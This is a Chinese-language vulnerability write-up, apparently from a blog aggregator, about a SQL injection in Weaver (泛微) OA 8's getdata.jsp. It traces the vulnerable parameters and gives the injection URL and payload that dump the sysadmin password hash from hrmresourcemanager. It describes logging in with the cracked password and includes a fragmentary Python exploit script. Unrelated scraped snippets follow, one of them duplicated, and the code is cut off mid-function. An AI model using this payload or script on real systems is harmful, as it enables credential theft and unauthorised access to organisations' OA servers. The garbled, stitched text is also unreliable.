漏洞url:
注入點在getdata.jsp中,直接將request物件交給
方法處理
在getdata方法中,判斷請求裡cmd引數是否為空,如果不為空,呼叫proc方法
proc方法4個引數,(「空字串」,」cmd引數值」,request物件,servercontext物件)
在proc方法中,對cmd引數值進行判斷,當cmd值等於getselectallid時,再從請求中獲取sql和type兩個引數值,並將引數傳遞進getselectallids(sql,type)方法中
在getselectallids(sql,type)方法中,直接將sql引數的值,傳遞進資料庫執行,並判斷type的值是否等於5,如果等於5,獲取查詢結果的requestid欄位,否則獲取查詢結果的id欄位
到此,引數從url,一直到資料庫被執行
根據以上**流程,只要構造請求引數
?cmd= getselectallid&sql=select password as id from userinfo;
即可完成對資料庫操控
在瀏覽器中,構造測試url:
頁面顯示1234
使用payload:
select password as id from hrmresourcemanager
查詢hrmresourcemanager表中的password欄位,頁面中返回了資料庫第一條記錄的值(sysadmin使用者的password)
對密文進行md5對比:
使用sysadmin 123450aa.登入系統
print(url+"存在泛微oa8 sql注入!")
else:
print("不存在sql注入!")
def exp(url):
target = url +"/js/hrm/getdata.jsp?cmd=getselectallid&sql=select password as id from hrmresourcemanager"
r = requests.get(url=target,verify=false,timeout=8)
if r.status_code == 200:
i = r.text
a = i.strip()
print("預設賬號:sysadmin")
print("密碼md5值:"+a)
if __name__=="__main__":
if args.url =='' and args.ip !='':
check(args.ip)
if args.url !='' and args.ip =='':
exp(args.url)
泛微oa系統什麼框架 泛微OA系統表結構說明文件
表名 表說明t condition 報表條件 t conditiondetail 報表條件詳細值 t datacenteruser 基層使用者資訊 t fadebespeak 調查退訂表 t fielditem 調查專案表輸入項資訊 t fielditemdetail 調查專案表輸入項資訊詳細 t ...
泛微oa系統什麼框架 泛微OA系統表結構說明文件
表名 表說明t condition 報表條件 t conditiondetail 報表條件詳細值 t datacenteruser 基層使用者資訊 t fadebespeak 調查退訂表 t fielditem 調查專案表輸入項資訊 t fielditemdetail 調查專案表輸入項資訊詳細 t ...
泛微OA使用筆記 測試
上篇文章中架構的流程經過同步,今天可以測試了!測試雖然比較繁瑣,畢竟泛微沒有提供單元測試的工具,我們只能通過人肉的方式進行測試了。1 由於泛微測試環境不穩定,我們發現在二維表的使用中出現了bug,即雖然設定了字段的讀取,但是實際過程中發現字段丟失了,而且無法在測試環境重新配置,配置了,也會丟掉。2 ...